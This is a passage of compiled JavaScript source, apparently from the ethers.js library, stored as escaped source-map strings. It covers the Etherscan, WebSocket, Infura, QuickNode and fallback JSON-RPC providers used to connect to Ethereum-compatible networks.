this._getTransactionPostData(req.transaction);\n postData.module = \"proxy\";\n postData.action = \"eth_call\";\n try {\n return await this.fetch(\"proxy\", postData, true);\n }\n catch (error) {\n return this._checkError(req, error, req.transaction);\n }\n }\n case \"estimateGas\": {\n const postData = this._getTransactionPostData(req.transaction);\n postData.module = \"proxy\";\n postData.action = \"eth_estimateGas\";\n try {\n return await this.fetch(\"proxy\", postData, true);\n }\n catch (error) {\n return this._checkError(req, error, req.transaction);\n }\n }\n /*\n case \"getLogs\": {\n // Needs to complain if more than one address is passed in\n const args: Record = { action: \"getLogs\" }\n \n if (params.filter.fromBlock) {\n args.fromBlock = checkLogTag(params.filter.fromBlock);\n }\n \n if (params.filter.toBlock) {\n args.toBlock = checkLogTag(params.filter.toBlock);\n }\n \n if (params.filter.address) {\n args.address = params.filter.address;\n }\n \n // @TODO: We can handle slightly more complicated logs using the logs API\n if (params.filter.topics && params.filter.topics.length > 0) {\n if (params.filter.topics.length > 1) {\n logger.throwError(\"unsupported topic count\", Logger.Errors.UNSUPPORTED_OPERATION, { topics: params.filter.topics });\n }\n if (params.filter.topics.length === 1) {\n const topic0 = params.filter.topics[0];\n if (typeof(topic0) !== \"string\" || topic0.length !== 66) {\n logger.throwError(\"unsupported topic format\", Logger.Errors.UNSUPPORTED_OPERATION, { topic0: topic0 });\n }\n args.topic0 = topic0;\n }\n }\n \n const logs: Array = await this.fetch(\"logs\", args);\n \n // Cache txHash => blockHash\n let blocks: { [tag: string]: string } = {};\n \n // Add any missing blockHash to the logs\n for (let i = 0; i < logs.length; i++) {\n const log = logs[i];\n if (log.blockHash != null) { continue; }\n if (blocks[log.blockNumber] == null) {\n const block = await this.getBlock(log.blockNumber);\n if (block) {\n blocks[log.blockNumber] = block.hash;\n }\n }\n \n log.blockHash = blocks[log.blockNumber];\n }\n \n return logs;\n }\n */\n default:\n break;\n }\n return super._perform(req);\n }\n async getNetwork() {\n return this.network;\n }\n /**\n * Resolves to the current price of ether.\n *\n * This returns ``0`` on any network other than ``mainnet``.\n */\n async getEtherPrice() {\n if (this.network.name !== \"mainnet\") {\n return 0.0;\n }\n return parseFloat((await this.fetch(\"stats\", { action: \"ethprice\" })).ethusd);\n }\n /**\n * Resolves to a [Contract]] for %%address%%, using the\n * Etherscan API to retreive the Contract ABI.\n */\n async getContract(_address) {\n let address = this._getAddress(_address);\n if (isPromise(address)) {\n address = await address;\n }\n try {\n const resp = await this.fetch(\"contract\", {\n action: \"getabi\", address\n });\n const abi = JSON.parse(resp);\n return new Contract(address, abi, this);\n }\n catch (error) {\n return null;\n }\n }\n isCommunityResource() {\n return (this.apiKey == null);\n }\n}\n//# sourceMappingURL=provider-etherscan.js.map","function getGlobal() {\n if (typeof self !== 'undefined') {\n return self;\n }\n if (typeof window !== 'undefined') {\n return window;\n }\n if (typeof global !== 'undefined') {\n return global;\n }\n throw new Error('unable to locate global object');\n}\n;\nconst _WebSocket = getGlobal().WebSocket;\nexport { _WebSocket as WebSocket };\n//# sourceMappingURL=ws-browser.js.map","/**\n * Generic long-lived socket provider.\n *\n * Sub-classing notes\n * - a sub-class MUST call the `_start()` method once connected\n * - a sub-class MUST override the `_write(string)` method\n * - a sub-class MUST call `_processMessage(string)` for each message\n *\n * @_subsection: api/providers/abstract-provider:Socket Providers [about-socketProvider]\n */\nimport { UnmanagedSubscriber } from \"./abstract-provider.js\";\nimport { assert, assertArgument, makeError } from \"../utils/index.js\";\nimport { JsonRpcApiProvider } from \"./provider-jsonrpc.js\";\n/**\n * A **SocketSubscriber** uses a socket transport to handle events and\n * should use [[_emit]] to manage the events.\n */\nexport class SocketSubscriber {\n #provider;\n #filter;\n /**\n * The filter.\n */\n get filter() { return JSON.parse(this.#filter); }\n #filterId;\n #paused;\n #emitPromise;\n /**\n * Creates a new **SocketSubscriber** attached to %%provider%% listening\n * to %%filter%%.\n */\n constructor(provider, filter) {\n this.#provider = provider;\n this.#filter = JSON.stringify(filter);\n this.#filterId = null;\n this.#paused = null;\n this.#emitPromise = null;\n }\n start() {\n this.#filterId = this.#provider.send(\"eth_subscribe\", this.filter).then((filterId) => {\n ;\n this.#provider._register(filterId, this);\n return filterId;\n });\n }\n stop() {\n (this.#filterId).then((filterId) => {\n if (this.#provider.destroyed) {\n return;\n }\n this.#provider.send(\"eth_unsubscribe\", [filterId]);\n });\n this.#filterId = null;\n }\n // @TODO: pause should trap the current blockNumber, unsub, and on resume use getLogs\n // and resume\n pause(dropWhilePaused) {\n assert(dropWhilePaused, \"preserve logs while paused not supported by SocketSubscriber yet\", \"UNSUPPORTED_OPERATION\", { operation: \"pause(false)\" });\n this.#paused = !!dropWhilePaused;\n }\n resume() {\n this.#paused = null;\n }\n /**\n * @_ignore:\n */\n _handleMessage(message) {\n if (this.#filterId == null) {\n return;\n }\n if (this.#paused === null) {\n let emitPromise = this.#emitPromise;\n if (emitPromise == null) {\n emitPromise = this._emit(this.#provider, message);\n }\n else {\n emitPromise = emitPromise.then(async () => {\n await this._emit(this.#provider, message);\n });\n }\n this.#emitPromise = emitPromise.then(() => {\n if (this.#emitPromise === emitPromise) {\n this.#emitPromise = null;\n }\n });\n }\n }\n /**\n * Sub-classes **must** override this to emit the events on the\n * provider.\n */\n async _emit(provider, message) {\n throw new Error(\"sub-classes must implemente this; _emit\");\n }\n}\n/**\n * A **SocketBlockSubscriber** listens for ``newHeads`` events and emits\n * ``\"block\"`` events.\n */\nexport class SocketBlockSubscriber extends SocketSubscriber {\n /**\n * @_ignore:\n */\n constructor(provider) {\n super(provider, [\"newHeads\"]);\n }\n async _emit(provider, message) {\n provider.emit(\"block\", parseInt(message.number));\n }\n}\n/**\n * A **SocketPendingSubscriber** listens for pending transacitons and emits\n * ``\"pending\"`` events.\n */\nexport class SocketPendingSubscriber extends SocketSubscriber {\n /**\n * @_ignore:\n */\n constructor(provider) {\n super(provider, [\"newPendingTransactions\"]);\n }\n async _emit(provider, message) {\n provider.emit(\"pending\", message);\n }\n}\n/**\n * A **SocketEventSubscriber** listens for event logs.\n */\nexport class SocketEventSubscriber extends SocketSubscriber {\n #logFilter;\n /**\n * The filter.\n */\n get logFilter() { return JSON.parse(this.#logFilter); }\n /**\n * @_ignore:\n */\n constructor(provider, filter) {\n super(provider, [\"logs\", filter]);\n this.#logFilter = JSON.stringify(filter);\n }\n async _emit(provider, message) {\n provider.emit(this.logFilter, provider._wrapLog(message, provider._network));\n }\n}\n/**\n * A **SocketProvider** is backed by a long-lived connection over a\n * socket, which can subscribe and receive real-time messages over\n * its communication channel.\n */\nexport class SocketProvider extends JsonRpcApiProvider {\n #callbacks;\n // Maps each filterId to its subscriber\n #subs;\n // If any events come in before a subscriber has finished\n // registering, queue them\n #pending;\n /**\n * Creates a new **SocketProvider** connected to %%network%%.\n *\n * If unspecified, the network will be discovered.\n */\n constructor(network, _options) {\n // Copy the options\n const options = Object.assign({}, (_options != null) ? _options : {});\n // Support for batches is generally not supported for\n // connection-base providers; if this changes in the future\n // the _send should be updated to reflect this\n assertArgument(options.batchMaxCount == null || options.batchMaxCount === 1, \"sockets-based providers do not support batches\", \"options.batchMaxCount\", _options);\n options.batchMaxCount = 1;\n // Socket-based Providers (generally) cannot change their network,\n // since they have a long-lived connection; but let people override\n // this if they have just cause.\n if (options.staticNetwork == null) {\n options.staticNetwork = true;\n }\n super(network, options);\n this.#callbacks = new Map();\n this.#subs = new Map();\n this.#pending = new Map();\n }\n // This value is only valid after _start has been called\n /*\n get _network(): Network {\n if (this.#network == null) {\n throw new Error(\"this shouldn't happen\");\n }\n return this.#network.clone();\n }\n */\n _getSubscriber(sub) {\n switch (sub.type) {\n case \"close\":\n return new UnmanagedSubscriber(\"close\");\n case \"block\":\n return new SocketBlockSubscriber(this);\n case \"pending\":\n return new SocketPendingSubscriber(this);\n case \"event\":\n return new SocketEventSubscriber(this, sub.filter);\n case \"orphan\":\n // Handled auto-matically within AbstractProvider\n // when the log.removed = true\n if (sub.filter.orphan === \"drop-log\") {\n return new UnmanagedSubscriber(\"drop-log\");\n }\n }\n return super._getSubscriber(sub);\n }\n /**\n * Register a new subscriber. This is used internalled by Subscribers\n * and generally is unecessary unless extending capabilities.\n */\n _register(filterId, subscriber) {\n this.#subs.set(filterId, subscriber);\n const pending = this.#pending.get(filterId);\n if (pending) {\n for (const message of pending) {\n subscriber._handleMessage(message);\n }\n this.#pending.delete(filterId);\n }\n }\n async _send(payload) {\n // WebSocket provider doesn't accept batches\n assertArgument(!Array.isArray(payload), \"WebSocket does not support batch send\", \"payload\", payload);\n // @TODO: stringify payloads here and store to prevent mutations\n // Prepare a promise to respond to\n const promise = new Promise((resolve, reject) => {\n this.#callbacks.set(payload.id, { payload, resolve, reject });\n });\n // Wait until the socket is connected before writing to it\n await this._waitUntilReady();\n // Write the request to the socket\n await this._write(JSON.stringify(payload));\n return [await promise];\n }\n // Sub-classes must call this once they are connected\n /*\n async _start(): Promise {\n if (this.#ready) { return; }\n\n for (const { payload } of this.#callbacks.values()) {\n await this._write(JSON.stringify(payload));\n }\n\n this.#ready = (async function() {\n await super._start();\n })();\n }\n */\n /**\n * Sub-classes **must** call this with messages received over their\n * transport to be processed and dispatched.\n */\n async _processMessage(message) {\n const result = (JSON.parse(message));\n if (result && typeof (result) === \"object\" && \"id\" in result) {\n const callback = this.#callbacks.get(result.id);\n if (callback == null) {\n this.emit(\"error\", makeError(\"received result for unknown id\", \"UNKNOWN_ERROR\", {\n reasonCode: \"UNKNOWN_ID\",\n result\n }));\n return;\n }\n this.#callbacks.delete(result.id);\n callback.resolve(result);\n }\n else if (result && result.method === \"eth_subscription\") {\n const filterId = result.params.subscription;\n const subscriber = this.#subs.get(filterId);\n if (subscriber) {\n subscriber._handleMessage(result.params.result);\n }\n else {\n let pending = this.#pending.get(filterId);\n if (pending == null) {\n pending = [];\n this.#pending.set(filterId, pending);\n }\n pending.push(result.params.result);\n }\n }\n else {\n this.emit(\"error\", makeError(\"received unexpected message\", \"UNKNOWN_ERROR\", {\n reasonCode: \"UNEXPECTED_MESSAGE\",\n result\n }));\n return;\n }\n }\n /**\n * Sub-classes **must** override this to send %%message%% over their\n * transport.\n */\n async _write(message) {\n throw new Error(\"sub-classes must override this\");\n }\n}\n//# sourceMappingURL=provider-socket.js.map","import { WebSocket as _WebSocket } from \"./ws.js\"; /*-browser*/\nimport { SocketProvider } from \"./provider-socket.js\";\n/**\n * A JSON-RPC provider which is backed by a WebSocket.\n *\n * WebSockets are often preferred because they retain a live connection\n * to a server, which permits more instant access to events.\n *\n * However, this incurs higher server infrasturture costs, so additional\n * resources may be required to host your own WebSocket nodes and many\n * third-party services charge additional fees for WebSocket endpoints.\n */\nexport class WebSocketProvider extends SocketProvider {\n #connect;\n #websocket;\n get websocket() {\n if (this.#websocket == null) {\n throw new Error(\"websocket closed\");\n }\n return this.#websocket;\n }\n constructor(url, network, options) {\n super(network, options);\n if (typeof (url) === \"string\") {\n this.#connect = () => { return new _WebSocket(url); };\n this.#websocket = this.#connect();\n }\n else if (typeof (url) === \"function\") {\n this.#connect = url;\n this.#websocket = url();\n }\n else {\n this.#connect = null;\n this.#websocket = url;\n }\n this.websocket.onopen = async () => {\n try {\n await this._start();\n this.resume();\n }\n catch (error) {\n console.log(\"failed to start WebsocketProvider\", error);\n // @TODO: now what? Attempt reconnect?\n }\n };\n this.websocket.onmessage = (message) => {\n this._processMessage(message.data);\n };\n /*\n this.websocket.onclose = (event) => {\n // @TODO: What event.code should we reconnect on?\n const reconnect = false;\n if (reconnect) {\n this.pause(true);\n if (this.#connect) {\n this.#websocket = this.#connect();\n this.#websocket.onopen = ...\n // @TODO: this requires the super class to rebroadcast; move it there\n }\n this._reconnect();\n }\n };\n */\n }\n async _write(message) {\n this.websocket.send(message);\n }\n async destroy() {\n if (this.#websocket != null) {\n this.#websocket.close();\n this.#websocket = null;\n }\n super.destroy();\n }\n}\n//# sourceMappingURL=provider-websocket.js.map","/**\n * [[link-infura]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Sepolia Testnet (``sepolia``)\n * - Arbitrum (``arbitrum``)\n * - Arbitrum Goerli Testnet (``arbitrum-goerli``)\n * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``)\n * - Base (``base``)\n * - Base Goerlia Testnet (``base-goerli``)\n * - Base Sepolia Testnet (``base-sepolia``)\n * - BNB Smart Chain Mainnet (``bnb``)\n * - BNB Smart Chain Testnet (``bnbt``)\n * - Linea (``linea``)\n * - Linea Goerli Testnet (``linea-goerli``)\n * - Linea Sepolia Testnet (``linea-sepolia``)\n * - Optimism (``optimism``)\n * - Optimism Goerli Testnet (``optimism-goerli``)\n * - Optimism Sepolia Testnet (``optimism-sepolia``)\n * - Polygon (``matic``)\n * - Polygon Amoy Testnet (``matic-amoy``)\n * - Polygon Mumbai Testnet (``matic-mumbai``)\n *\n * @_subsection: api/providers/thirdparty:INFURA [providers-infura]\n */\nimport { defineProperties, FetchRequest, assert, assertArgument } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nimport { WebSocketProvider } from \"./provider-websocket.js\";\nconst defaultProjectId = \"84842078b09946638c03157f83405213\";\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"mainnet.infura.io\";\n case \"goerli\":\n return \"goerli.infura.io\";\n case \"sepolia\":\n return \"sepolia.infura.io\";\n case \"arbitrum\":\n return \"arbitrum-mainnet.infura.io\";\n case \"arbitrum-goerli\":\n return \"arbitrum-goerli.infura.io\";\n case \"arbitrum-sepolia\":\n return \"arbitrum-sepolia.infura.io\";\n case \"base\":\n return \"base-mainnet.infura.io\";\n case \"base-goerlia\": // @TODO: Remove this typo in the future!\n case \"base-goerli\":\n return \"base-goerli.infura.io\";\n case \"base-sepolia\":\n return \"base-sepolia.infura.io\";\n case \"bnb\":\n return \"bsc-mainnet.infura.io\";\n case \"bnbt\":\n return \"bsc-testnet.infura.io\";\n case \"linea\":\n return \"linea-mainnet.infura.io\";\n case \"linea-goerli\":\n return \"linea-goerli.infura.io\";\n case \"linea-sepolia\":\n return \"linea-sepolia.infura.io\";\n case \"matic\":\n return \"polygon-mainnet.infura.io\";\n case \"matic-amoy\":\n return \"polygon-amoy.infura.io\";\n case \"matic-mumbai\":\n return \"polygon-mumbai.infura.io\";\n case \"optimism\":\n return \"optimism-mainnet.infura.io\";\n case \"optimism-goerli\":\n return \"optimism-goerli.infura.io\";\n case \"optimism-sepolia\":\n return \"optimism-sepolia.infura.io\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **InfuraWebSocketProvider** connects to the [[link-infura]]\n * WebSocket end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-infura-signup).\n */\nexport class InfuraWebSocketProvider extends WebSocketProvider {\n /**\n * The Project ID for the INFURA connection.\n */\n projectId;\n /**\n * The Project Secret.\n *\n * If null, no authenticated requests are made. This should not\n * be used outside of private contexts.\n */\n projectSecret;\n /**\n * Creates a new **InfuraWebSocketProvider**.\n */\n constructor(network, projectId) {\n const provider = new InfuraProvider(network, projectId);\n const req = provider._getConnection();\n assert(!req.credentials, \"INFURA WebSocket project secrets unsupported\", \"UNSUPPORTED_OPERATION\", { operation: \"InfuraProvider.getWebSocketProvider()\" });\n const url = req.url.replace(/^http/i, \"ws\").replace(\"/v3/\", \"/ws/v3/\");\n super(url, provider._network);\n defineProperties(this, {\n projectId: provider.projectId,\n projectSecret: provider.projectSecret\n });\n }\n isCommunityResource() {\n return (this.projectId === defaultProjectId);\n }\n}\n/**\n * The **InfuraProvider** connects to the [[link-infura]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-infura-signup).\n */\nexport class InfuraProvider extends JsonRpcProvider {\n /**\n * The Project ID for the INFURA connection.\n */\n projectId;\n /**\n * The Project Secret.\n *\n * If null, no authenticated requests are made. This should not\n * be used outside of private contexts.\n */\n projectSecret;\n /**\n * Creates a new **InfuraProvider**.\n */\n constructor(_network, projectId, projectSecret) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (projectId == null) {\n projectId = defaultProjectId;\n }\n if (projectSecret == null) {\n projectSecret = null;\n }\n const request = InfuraProvider.getRequest(network, projectId, projectSecret);\n super(request, network, { staticNetwork: network });\n defineProperties(this, { projectId, projectSecret });\n }\n _getProvider(chainId) {\n try {\n return new InfuraProvider(chainId, this.projectId, this.projectSecret);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n isCommunityResource() {\n return (this.projectId === defaultProjectId);\n }\n /**\n * Creates a new **InfuraWebSocketProvider**.\n */\n static getWebSocketProvider(network, projectId) {\n return new InfuraWebSocketProvider(network, projectId);\n }\n /**\n * Returns a prepared request for connecting to %%network%%\n * with %%projectId%% and %%projectSecret%%.\n */\n static getRequest(network, projectId, projectSecret) {\n if (projectId == null) {\n projectId = defaultProjectId;\n }\n if (projectSecret == null) {\n projectSecret = null;\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/v3/${projectId}`);\n request.allowGzip = true;\n if (projectSecret) {\n request.setCredentials(\"\", projectSecret);\n }\n if (projectId === defaultProjectId) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"InfuraProvider\");\n return true;\n };\n }\n return request;\n }\n}\n//# sourceMappingURL=provider-infura.js.map","/**\n * [[link-quicknode]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Sepolia Testnet (``sepolia``)\n * - Holesky Testnet (``holesky``)\n * - Arbitrum (``arbitrum``)\n * - Arbitrum Goerli Testnet (``arbitrum-goerli``)\n * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``)\n * - Base Mainnet (``base``);\n * - Base Goerli Testnet (``base-goerli``);\n * - Base Sepolia Testnet (``base-sepolia``);\n * - BNB Smart Chain Mainnet (``bnb``)\n * - BNB Smart Chain Testnet (``bnbt``)\n * - Optimism (``optimism``)\n * - Optimism Goerli Testnet (``optimism-goerli``)\n * - Optimism Sepolia Testnet (``optimism-sepolia``)\n * - Polygon (``matic``)\n * - Polygon Mumbai Testnet (``matic-mumbai``)\n *\n * @_subsection: api/providers/thirdparty:QuickNode [providers-quicknode]\n */\nimport { defineProperties, FetchRequest, assertArgument } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nconst defaultToken = \"919b412a057b5e9c9b6dce193c5a60242d6efadb\";\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"ethers.quiknode.pro\";\n case \"goerli\":\n return \"ethers.ethereum-goerli.quiknode.pro\";\n case \"sepolia\":\n return \"ethers.ethereum-sepolia.quiknode.pro\";\n case \"holesky\":\n return \"ethers.ethereum-holesky.quiknode.pro\";\n case \"arbitrum\":\n return \"ethers.arbitrum-mainnet.quiknode.pro\";\n case \"arbitrum-goerli\":\n return \"ethers.arbitrum-goerli.quiknode.pro\";\n case \"arbitrum-sepolia\":\n return \"ethers.arbitrum-sepolia.quiknode.pro\";\n case \"base\":\n return \"ethers.base-mainnet.quiknode.pro\";\n case \"base-goerli\":\n return \"ethers.base-goerli.quiknode.pro\";\n case \"base-spolia\":\n return \"ethers.base-sepolia.quiknode.pro\";\n case \"bnb\":\n return \"ethers.bsc.quiknode.pro\";\n case \"bnbt\":\n return \"ethers.bsc-testnet.quiknode.pro\";\n case \"matic\":\n return \"ethers.matic.quiknode.pro\";\n case \"matic-mumbai\":\n return \"ethers.matic-testnet.quiknode.pro\";\n case \"optimism\":\n return \"ethers.optimism.quiknode.pro\";\n case \"optimism-goerli\":\n return \"ethers.optimism-goerli.quiknode.pro\";\n case \"optimism-sepolia\":\n return \"ethers.optimism-sepolia.quiknode.pro\";\n case \"xdai\":\n return \"ethers.xdai.quiknode.pro\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/*\n@TODO:\n These networks are not currently present in the Network\n default included networks. Research them and ensure they\n are EVM compatible and work with ethers\n\n http://ethers.matic-amoy.quiknode.pro\n\n http://ethers.avalanche-mainnet.quiknode.pro\n http://ethers.avalanche-testnet.quiknode.pro\n http://ethers.blast-sepolia.quiknode.pro\n http://ethers.celo-mainnet.quiknode.pro\n http://ethers.fantom.quiknode.pro\n http://ethers.imx-demo.quiknode.pro\n http://ethers.imx-mainnet.quiknode.pro\n http://ethers.imx-testnet.quiknode.pro\n http://ethers.near-mainnet.quiknode.pro\n http://ethers.near-testnet.quiknode.pro\n http://ethers.nova-mainnet.quiknode.pro\n http://ethers.scroll-mainnet.quiknode.pro\n http://ethers.scroll-testnet.quiknode.pro\n http://ethers.tron-mainnet.quiknode.pro\n http://ethers.zkevm-mainnet.quiknode.pro\n http://ethers.zkevm-testnet.quiknode.pro\n http://ethers.zksync-mainnet.quiknode.pro\n http://ethers.zksync-testnet.quiknode.pro\n*/\n/**\n * The **QuickNodeProvider** connects to the [[link-quicknode]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API token is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-quicknode).\n */\nexport class QuickNodeProvider extends JsonRpcProvider {\n /**\n * The API token.\n */\n token;\n /**\n * Creates a new **QuickNodeProvider**.\n */\n constructor(_network, token) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (token == null) {\n token = defaultToken;\n }\n const request = QuickNodeProvider.getRequest(network, token);\n super(request, network, { staticNetwork: network });\n defineProperties(this, { token });\n }\n _getProvider(chainId) {\n try {\n return new QuickNodeProvider(chainId, this.token);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n isCommunityResource() {\n return (this.token === defaultToken);\n }\n /**\n * Returns a new request prepared for %%network%% and the\n * %%token%%.\n */\n static getRequest(network, token) {\n if (token == null) {\n token = defaultToken;\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/${token}`);\n request.allowGzip = true;\n //if (projectSecret) { request.setCredentials(\"\", projectSecret); }\n if (token === defaultToken) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"QuickNodeProvider\");\n return true;\n };\n }\n return request;\n }\n}\n//# sourceMappingURL=provider-quicknode.js.map","/**\n * A **FallbackProvider** provides resilience, security and performance\n * in a way that is customizable and configurable.\n *\n * @_section: api/providers/fallback-provider:Fallback Provider [about-fallback-provider]\n */\nimport { assert, assertArgument, getBigInt, getNumber, isError } from \"../utils/index.js\";\nimport { AbstractProvider } from \"./abstract-provider.js\";\nimport { Network } from \"./network.js\";\nconst BN_1 = BigInt(\"1\");\nconst BN_2 = BigInt(\"2\");\nfunction shuffle(array) {\n for (let i = array.length - 1; i > 0; i--) {\n const j = Math.floor(Math.random() * (i + 1));\n const tmp = array[i];\n array[i] = array[j];\n array[j] = tmp;\n }\n}\nfunction stall(duration) {\n return new Promise((resolve) => { setTimeout(resolve, duration); });\n}\nfunction getTime() { return (new Date()).getTime(); }\nfunction stringify(value) {\n return JSON.stringify(value, (key, value) => {\n if (typeof (value) === \"bigint\") {\n return { type: \"bigint\", value: value.toString() };\n }\n return value;\n });\n}\n;\nconst defaultConfig = { stallTimeout: 400, priority: 1, weight: 1 };\nconst defaultState = {\n blockNumber: -2, requests: 0, lateResponses: 0, errorResponses: 0,\n outOfSync: -1, unsupportedEvents: 0, rollingDuration: 0, score: 0,\n _network: null, _updateNumber: null, _totalTime: 0,\n _lastFatalError: null, _lastFatalErrorTimestamp: 0\n};\nasync function waitForSync(config, blockNumber) {\n while (config.blockNumber < 0 || config.blockNumber < blockNumber) {\n if (!config._updateNumber) {\n config._updateNumber = (async () => {\n try {\n const blockNumber = await config.provider.getBlockNumber();\n if (blockNumber > config.blockNumber) {\n config.blockNumber = blockNumber;\n }\n }\n catch (error) {\n config.blockNumber = -2;\n config._lastFatalError = error;\n config._lastFatalErrorTimestamp = getTime();\n }\n config._updateNumber = null;\n })();\n }\n await config._updateNumber;\n config.outOfSync++;\n if (config._lastFatalError) {\n break;\n }\n }\n}\nfunction _normalize(value) {\n if (value == null) {\n return \"null\";\n }\n if (Array.isArray(value)) {\n return \"[\" + (value.map(_normalize)).join(\",\") + \"]\";\n }\n if (typeof (value) === \"object\" && typeof (value.toJSON) === \"function\") {\n return _normalize(value.toJSON());\n }\n switch (typeof (value)) {\n case \"boolean\":\n case \"symbol\":\n return value.toString();\n case \"bigint\":\n case \"number\":\n return BigInt(value).toString();\n case \"string\":\n return JSON.stringify(value);\n case \"object\": {\n const keys = Object.keys(value);\n keys.sort();\n return \"{\" + keys.map((k) => `${JSON.stringify(k)}:${_normalize(value[k])}`).join(\",\") + \"}\";\n }\n }\n console.log(\"Could not serialize\", value);\n throw new Error(\"Hmm...\");\n}\nfunction normalizeResult(method, value) {\n if (\"error\" in value) {\n const error = value.error;\n let tag;\n if (isError(error, \"CALL_EXCEPTION\")) {\n tag = _normalize(Object.assign({}, error, {\n shortMessage: undefined, reason: undefined, info: undefined\n }));\n }\n else {\n tag = _normalize(error);\n }\n return { tag, value: error };\n }\n const result = value.result;\n return { tag: _normalize(result), value: result };\n}\n// This strategy picks the highest weight result, as long as the weight is\n// equal to or greater than quorum\nfunction checkQuorum(quorum, results) {\n const tally = new Map();\n for (const { value, tag, weight } of results) {\n const t = tally.get(tag) || { value, weight: 0 };\n t.weight += weight;\n tally.set(tag, t);\n }\n let best = null;\n for (const r of tally.values()) {\n if (r.weight >= quorum && (!best || r.weight > best.weight)) {\n best = r;\n }\n }\n if (best) {\n return best.value;\n }\n return undefined;\n}\nfunction getMedian(quorum, results) {\n let resultWeight = 0;\n const errorMap = new Map();\n let bestError = null;\n const values = [];\n for (const { value, tag, weight } of results) {\n if (value instanceof Error) {\n const e = errorMap.get(tag) || { value, weight: 0 };\n e.weight += weight;\n errorMap.set(tag, e);\n if (bestError == null || e.weight > bestError.weight) {\n bestError = e;\n }\n }\n else {\n values.push(BigInt(value));\n resultWeight += weight;\n }\n }\n if (resultWeight < quorum) {\n // We have quorum for an error\n if (bestError && bestError.weight >= quorum) {\n return bestError.value;\n }\n // We do not have quorum for a result\n return undefined;\n }\n // Get the sorted values\n values.sort((a, b) => ((a < b) ? -1 : (b > a) ? 1 : 0));\n const mid = Math.floor(values.length / 2);\n // Odd-length; take the middle value\n if (values.length % 2) {\n return values[mid];\n }\n // Even length; take the ceiling of the mean of the center two values\n return (values[mid - 1] + values[mid] + BN_1) / BN_2;\n}\nfunction getAnyResult(quorum, results) {\n // If any value or error meets quorum, that is our preferred result\n const result = checkQuorum(quorum, results);\n if (result !== undefined) {\n return result;\n }\n // Otherwise, do we have any result?\n for (const r of results) {\n if (r.value) {\n return r.value;\n }\n }\n // Nope!\n return undefined;\n}\nfunction getFuzzyMode(quorum, results) {\n if (quorum === 1) {\n return getNumber(getMedian(quorum, results), \"%internal\");\n }\n const tally = new Map();\n const add = (result, weight) => {\n const t = tally.get(result) || { result, weight: 0 };\n t.weight += weight;\n tally.set(result, t);\n };\n for (const { weight, value } of results) {\n const r = getNumber(value);\n add(r - 1, weight);\n add(r, weight);\n add(r + 1, weight);\n }\n let bestWeight = 0;\n let bestResult = undefined;\n for (const { weight, result } of tally.values()) {\n // Use this result, if this result meets quorum and has either:\n // - a better weight\n // - or equal weight, but the result is larger\n if (weight >= quorum && (weight > bestWeight || (bestResult != null && weight === bestWeight && result > bestResult))) {\n bestWeight = weight;\n bestResult = result;\n }\n }\n return bestResult;\n}\n/**\n * A **FallbackProvider** manages several [[Providers]] providing\n * resilience by switching between slow or misbehaving nodes, security\n * by requiring multiple backends to aggree and performance by allowing\n * faster backends to respond earlier.\n *\n */\nexport class FallbackProvider extends AbstractProvider {\n /**\n * The number of backends that must agree on a value before it is\n * accpeted.\n */\n quorum;\n /**\n * @_ignore:\n */\n eventQuorum;\n /**\n * @_ignore:\n */\n eventWorkers;\n #configs;\n #height;\n #initialSyncPromise;\n /**\n * Creates a new **FallbackProvider** with %%providers%% connected to\n * %%network%%.\n *\n * If a [[Provider]] is included in %%providers%%, defaults are used\n * for the configuration.\n */\n constructor(providers, network, options) {\n super(network, options);\n this.#configs = providers.map((p) => {\n if (p instanceof AbstractProvider) {\n return Object.assign({ provider: p }, defaultConfig, defaultState);\n }\n else {\n return Object.assign({}, defaultConfig, p, defaultState);\n }\n });\n this.#height = -2;\n this.#initialSyncPromise = null;\n if (options && options.quorum != null) {\n this.quorum = options.quorum;\n }\n else {\n this.quorum = Math.ceil(this.#configs.reduce((accum, config) => {\n accum += config.weight;\n return accum;\n }, 0) / 2);\n }\n this.eventQuorum = 1;\n this.eventWorkers = 1;\n assertArgument(this.quorum <= this.#configs.reduce((a, c) => (a + c.weight), 0), \"quorum exceed provider weight\", \"quorum\", this.quorum);\n }\n get providerConfigs() {\n return this.#configs.map((c) => {\n const result = Object.assign({}, c);\n for (const key in result) {\n if (key[0] === \"_\") {\n delete result[key];\n }\n }\n return result;\n });\n }\n async _detectNetwork() {\n return Network.from(getBigInt(await this._perform({ method: \"chainId\" })));\n }\n // @TODO: Add support to select providers to be the event subscriber\n //_getSubscriber(sub: Subscription): Subscriber {\n // throw new Error(\"@TODO\");\n //}\n /**\n * 